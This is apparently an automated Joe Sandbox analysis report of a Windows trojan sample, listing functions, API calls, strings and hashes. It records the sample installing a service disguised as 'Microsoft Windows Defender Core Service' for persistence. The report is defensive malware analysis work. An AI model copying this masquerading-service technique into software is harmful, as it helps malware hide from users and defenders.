Instruction ID: 0759fc66cbaa7c17ee9c7c29a4026e63be65559624f1126da0474120c5f47be5
Opcode Fuzzy Hash: 46c349e5193ee86d75655e4a574d5ad4ddb955498f1696478ddccb8521d54604
Instruction Fuzzy Hash: 6581CC63A0E68282EB658F26A040179BFA1EB54782F584037CBEEC7A91DF3CE545C304

Function 00007FF6C786B828 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6C786B852

Strings

csm, xrefs: 00007FF6C786B877
csm, xrefs: 00007FF6C786B9E6

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 1ef23a5464c2794de408efda5d84bcc14a94eddb4dc116ddde8cda1a9e36996f
Instruction ID: 06143dfc80e0df7769395e8aacd3ba94d9bb589bbb66e4f64b2824ebbff8df55
Opcode Fuzzy Hash: 1ef23a5464c2794de408efda5d84bcc14a94eddb4dc116ddde8cda1a9e36996f
Instruction Fuzzy Hash: 7F71A17262A68296DB618F26908077D7FA1EB44F8AF248135DFCCC7A85DF2CD651C740

Function 00007FF6C786BED0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6C786BF7A
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF6C786BFA3

Strings

csm, xrefs: 00007FF6C786C0A3

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 635710ddb9ab94d1a55a8cd141b7dc412ae530ff3b0bfee5224db4b61107a7b5
Instruction ID: 98f57f38f69a3d657d5b0e7a7164946e0118fec3762fc9df172e0c4d8630cdfc
Opcode Fuzzy Hash: 635710ddb9ab94d1a55a8cd141b7dc412ae530ff3b0bfee5224db4b61107a7b5
Instruction Fuzzy Hash: 0B51707662A74596E620EF16E44026E7FA8F788B91F100138EBCD87B95DF3CE550CB01

Function 00007FF6C7877114 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7877146

Part of subcall function 00007FF6C787B1D8: HeapFree.KERNEL32 ref: 00007FF6C787B1EE
Part of subcall function 00007FF6C787B1D8: GetLastError.KERNEL32 ref: 00007FF6C787B1F8

GetModuleFileNameW.KERNEL32 ref: 00007FF6C7877164

Strings

C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, xrefs: 00007FF6C7877152

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
API String ID: 3580290477-1341743030
Opcode ID: 826ece68b2de395fc5557eeabaea98f135a51b0408a18a67728276ec84c6d2a4
Instruction ID: ca0118195e139b0f17651ecc27e4581ad0ad58941383a4228dd264e039db597d
Opcode Fuzzy Hash: 826ece68b2de395fc5557eeabaea98f135a51b0408a18a67728276ec84c6d2a4
Instruction Fuzzy Hash: 8C416C32B0AB5295EB58DF25A8801BD2BA6EB44B95B544035FB8FC3B85DE3DE481C310

Function 00007FF6C787C534 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6C787C64B
GetLastError.KERNEL32 ref: 00007FF6C787C66D

Strings

U, xrefs: 00007FF6C787C5F7

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 45453d0a4cb618e3adf22ee76669d7d8896708ec24ad589fac43c11eaffff017
Instruction ID: 85f1775e7a6d8a9694ec78d74a5b8cbd9e5c80e4a70d768f0862f750a8022d41
Opcode Fuzzy Hash: 45453d0a4cb618e3adf22ee76669d7d8896708ec24ad589fac43c11eaffff017
Instruction Fuzzy Hash: 4441A322B1AA4191DB60CF25E8443BA6BA4FB98795F854035EF8EC7798DF3CD541C740

Function 00007FF6C7851BA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C7851BB7
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF6C7851BF6

Part of subcall function 00007FF6C786524C: _Yarn.LIBCPMT ref: 00007FF6C786527A

Strings

bad locale name, xrefs: 00007FF6C7851C0A

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_Yarn
String ID: bad locale name
API String ID: 1838369231-1405518554
Opcode ID: 7d49fe92b0c7c85a1320eea0bc9836c521db474d021f354e7151b42a68dd87d1
Instruction ID: 3fe48c5e534612cc1d0809d9c20e9f304249cc8ef25c2f4547fbd4d5b9707acb
Opcode Fuzzy Hash: 7d49fe92b0c7c85a1320eea0bc9836c521db474d021f354e7151b42a68dd87d1
Instruction Fuzzy Hash: 64014B3251AB818AD7859F75A88015D7AA5FB68B88B185139CB9CC371AEF38C5A0C340

Function 00007FF6C78695E4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF6C7869634
RaiseException.KERNEL32 ref: 00007FF6C7869675

Strings

csm, xrefs: 00007FF6C7869662

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 1f17b112604c356c224eb2ed1e8f8d2ca513bdd1cb9f3ebf4d5e436a80b3cb1e
Instruction ID: e4d11125dbd464d86453b4f8c834b7b9103da8e497506aa08a866c403335745d
Opcode Fuzzy Hash: 1f17b112604c356c224eb2ed1e8f8d2ca513bdd1cb9f3ebf4d5e436a80b3cb1e
Instruction Fuzzy Hash: F8112E32619B4182EB618F15F440269BBE4FB88B85F584235DBCC87754DF3DD551C700

Analysis Process: MicrosoftWindowsDefenderCoreService.exePID: 6636, Parent PID: 2404COMMON

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1289
Total number of Limit Nodes:	43

Executed Functions

Function 00007FF76E1831E0 Relevance: 60.1, APIs: 24, Strings: 10, Instructions: 623
serviceregistrythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF76E183221
GetLastError.KERNEL32 ref: 00007FF76E1832B6
OpenSCManagerW.ADVAPI32 ref: 00007FF76E183422
GetLastError.KERNEL32 ref: 00007FF76E183556
CreateServiceW.ADVAPI32 ref: 00007FF76E183606
GetLastError.KERNEL32 ref: 00007FF76E1836B7
CloseServiceHandle.ADVAPI32 ref: 00007FF76E1836D2
CloseServiceHandle.ADVAPI32 ref: 00007FF76E1837F0
CloseServiceHandle.ADVAPI32 ref: 00007FF76E1837F9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E183868
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E18386E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E183874
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E18387A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E183880
RegisterServiceCtrlHandlerW.ADVAPI32 ref: 00007FF76E1838BA
SetServiceStatus.ADVAPI32 ref: 00007FF76E183B83
CreateEventW.KERNEL32 ref: 00007FF76E183B96
SetServiceStatus.ADVAPI32 ref: 00007FF76E183BD2
CreateThread.KERNEL32 ref: 00007FF76E183BEF
GetLastError.KERNEL32 ref: 00007FF76E183C01
SetServiceStatus.ADVAPI32 ref: 00007FF76E183C36
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E183C59
SetServiceStatus.ADVAPI32 ref: 00007FF76E183CB1
SetEvent.KERNEL32 ref: 00007FF76E183CBE

Strings

wjyp, xrefs: 00007FF76E183732
MicrosoftWindowsDefenderCoreService, xrefs: 00007FF76E1835FC
MicrosoftWindowsDefenderCoreService, xrefs: 00007FF76E1838B3
h$wy, xrefs: 00007FF76E183724
%s (%d), xrefs: 00007FF76E1836C3
%s (%d), xrefs: 00007FF76E1832C2
Microsoft Windows Defender Core Service, xrefs: 00007FF76E1835F5
ggiw, xrefs: 00007FF76E18372B
%s (%d), xrefs: 00007FF76E183562
%s, xrefs: 00007FF76E1837A6

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: Service$_invalid_parameter_noinfo_noreturn$ErrorLastStatus$CloseCreateHandle$Event$CtrlFileHandlerManagerModuleNameOpenRegisterThread
String ID: %s$%s (%d)$%s (%d)$%s (%d)$Microsoft Windows Defender Core Service$MicrosoftWindowsDefenderCoreService$MicrosoftWindowsDefenderCoreService$ggiw$h$wy$wjyp
API String ID: 1620023548-2121530606
Opcode ID: 4698ba084db337f1926770bf5d794d63a9ca90ae822dd769ec67dbca79ed55bc
Instruction ID: 0defbf4164db25b38007ad0d3792e968173a21bacbfa599d10557c408ded4f13
Opcode Fuzzy Hash: 4698ba084db337f1926770bf5d794d63a9ca90ae822dd769ec67dbca79ed55bc
Instruction Fuzzy Hash: FC62C462E08681CAE704EF74E4402AEB3A1FF49754F901236DA5C87695EF3CE185DB39

Function 00007FF76E182090 Relevance: 56.9, APIs: 11, Strings: 21, Instructions: 870
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF76E18CA60: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E18CB8D
Part of subcall function 00007FF76E18CA60: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF76E18CB93

GetCurrentProcessId.KERNEL32 ref: 00007FF76E1826B0
ShellExecuteExW.SHELL32 ref: 00007FF76E18292C
lstrcmpiW.KERNEL32 ref: 00007FF76E182A5E
StartServiceCtrlDispatcherW.ADVAPI32 ref: 00007FF76E182CC2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E1831AD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E1831B3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E1831B9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E1831BF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E1831C5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E1831CB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF76E1831D1

Part of subcall function 00007FF76E183D40: RegisterEventSourceW.ADVAPI32 ref: 00007FF76E183D6B
Part of subcall function 00007FF76E183D40: GetLastError.KERNEL32 ref: 00007FF76E183D79
Part of subcall function 00007FF76E183D40: ReportEventW.ADVAPI32 ref: 00007FF76E183DE4
Part of subcall function 00007FF76E183D40: DeregisterEventSource.ADVAPI32 ref: 00007FF76E183DED

Strings

++, xrefs: 00007FF76E182955
{, xrefs: 00007FF76E1822CE
m, xrefs: 00007FF76E182306
u, xrefs: 00007FF76E18228E
3&, xrefs: 00007FF76E18294B
>, xrefs: 00007FF76E1822C6
P, xrefs: 00007FF76E1822EE
O, xrefs: 00007FF76E1822FE
m, xrefs: 00007FF76E182316
t, xrefs: 00007FF76E18230E
y, xrefs: 00007FF76E1822BE
h, xrefs: 00007FF76E1822A6
O, xrefs: 00007FF76E18227E
z, xrefs: 00007FF76E1822E6
G., xrefs: 00007FF76E182937
)4, xrefs: 00007FF76E182941
n, xrefs: 00007FF76E1822D6
h, xrefs: 00007FF76E182286
h, xrefs: 00007FF76E1822DE
p, xrefs: 00007FF76E182296
MicrosoftWindowsDefenderCoreService, xrefs: 00007FF76E182C91

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Event$Source$Concurrency::cancel_current_taskCtrlCurrentDeregisterDispatcherErrorExecuteLastProcessRegisterReportServiceShellStartlstrcmpi
String ID: )4$++$3&$>$G.$MicrosoftWindowsDefenderCoreService$O$O$P$h$h$h$m$m$n$p$t$u$y$z${
API String ID: 320493407-2801309204
Opcode ID: 3335491839efc0a822470bfbcb9017b3bbd4571457d321bc2182deb53b8a3e6d
Instruction ID: 1ca9ad8e6086db460cacc772ef49dfbe563a68bcdcd135cba1e035cc9c6653f6
Opcode Fuzzy Hash: 3335491839efc0a822470bfbcb9017b3bbd4571457d321bc2182deb53b8a3e6d
Instruction Fuzzy Hash: F492D666A146C1CAE724AF74E4003FD73B0FF58748F806136E65C8BAA4EB3C9581D729

Function 00007FF76E1A3ACC Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32 ref: 00007FF76E1A3BE8
GetLastError.KERNEL32 ref: 00007FF76E1A3C73

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 22a347ff353ab49432d2b42e96d8d9a8c726387284fb579308b91fa641ddd612
Instruction ID: e89341eee3a6507a0bd9f3910056b1efb815e622078f23d0224c5628ad99183e
Opcode Fuzzy Hash: 22a347ff353ab49432d2b42e96d8d9a8c726387284fb579308b91fa641ddd612
Instruction Fuzzy Hash: 4291C862F18651C5F758AF69A8443BCABA0BB04B84FD4413ADE0E57A84DF3CD443A738

Function 00007FF76E19ECBC Relevance: 4.5, APIs: 3, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF76E19ECCD
TerminateProcess.KERNEL32 ref: 00007FF76E19ECD8
ExitProcess.KERNEL32 ref: 00007FF76E19ECE7

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 57dfe235044c4d1b5e0c3719e619ff88c0380d6cde3ba8c933f2ad1b22e4824d
Instruction ID: 0affae1e46e7f0f6810761e79846a7ccfcfc732d2317042812d1fd634303ea45
Opcode Fuzzy Hash: 57dfe235044c4d1b5e0c3719e619ff88c0380d6cde3ba8c933f2ad1b22e4824d
Instruction Fuzzy Hash: 75D09E20F18606D6EB1C7B70BC9507892966F48701F911939D98B173D3DD3DA949A239

Function 00007FF76E1909AC Relevance: 3.1, APIs: 2, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF76E190B80: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF76E190B94

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF76E1909D5
__scrt_release_startup_lock.LIBCMT ref: 00007FF76E190A43

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 1236291503-0
Opcode ID: f6557d902d0f924d53d81b320cd09ed928179405ef90910cdb8231627aa68b17
Instruction ID: 8176ecfc0dd8defda7fcd49f360687bcfec4d83ecb30cec352c035df38e67642
Opcode Fuzzy Hash: f6557d902d0f924d53d81b320cd09ed928179405ef90910cdb8231627aa68b17
Instruction Fuzzy Hash: 84414E21E0C142C5FA5CBB61F4113B99393BF45B84FC44035E64E4B2E3EE6CAD45A679

Function 00007FF76E1A3584 Relevance: 3.1, APIs: 2, Instructions: 74
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 00007FF76E1A3637
GetLastError.KERNEL32 ref: 00007FF76E1A3653

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: f4cbf904ff233b95289d481c635fb609254e964d0459cd630feb07302fab001c
Instruction ID: f40b4faeededdcd3e4142e67063f7e9072071b6636fadacf8c5cabc5f306cab3
Opcode Fuzzy Hash: f4cbf904ff233b95289d481c635fb609254e964d0459cd630feb07302fab001c
Instruction Fuzzy Hash: 4331D472A18A81C6DB14AF29F4443ADB764FB58780F848032EB4D83B54EF3CD516DB24

Function 00007FF76E1A2244 Relevance: 3.1, APIs: 2, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF76E1A22BD
GetFileType.KERNEL32 ref: 00007FF76E1A22D3

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: fcdea19bf642dc27f92512411235abc235e2eefdf2d9d23fa984bc5e21e92c92
Instruction ID: 54f3bbe0140ea484efec7f086cb5d36c8642f1241bea0b771c268b79e886ed9b
Opcode Fuzzy Hash: fcdea19bf642dc27f92512411235abc235e2eefdf2d9d23fa984bc5e21e92c92
Instruction Fuzzy Hash: 1F31A721E18B45C1D7689B19B580178A751FB56BB0FA8033ADB6E477E0CF38E4A1E374

Function 00007FF76E1908C0 Relevance: 3.1, APIs: 2, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_set_fmode.LIBCMT ref: 00007FF76E1908D7
_RTC_Initialize.LIBCMT ref: 00007FF76E1908F8

Part of subcall function 00007FF76E19E2A4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF76E19E2D6

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169098908.00007FF76E1D3000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff76e180000_MicrosoftWindowsDefenderCoreService.jbxd

Similarity

API ID: Initialize_invalid_parameter_noinfo_set_fmode
String ID:
API String ID: 3548387204-0
Opcode ID: d09a022d1338bd451590cea5300501282c79fe63a09ae3173060406b60f23086
Instruction ID: 0a61157701d2dca385b158f5b67433c3b6a01bf0ccc583792da725b90a261ad9
Opcode Fuzzy Hash: d09a022d1338bd451590cea5300501282c79fe63a09ae3173060406b60f23086
Instruction Fuzzy Hash: 7411B014F08507C2FA1C73B1B8562BE82861F80740FD11434E90E8A2D7EE1CBD89B27E

Function 00007FF76E1AAD5C Relevance: 3.0, APIs: 2, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00007FF76E1AAD70
FreeEnvironmentStringsW.KERNEL32 ref: 00007FF76E1AADDA

Memory Dump Source

Source File: 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, Offset: 00007FF76E180000, based on PE: true

Associated: 00000005.00000002.2169012338.00007FF76E180000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169025101.00007FF76E1D1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2169084411.00007FF76E1D2000.00000080.00000001.01000000.00000006.sdmpDownload File
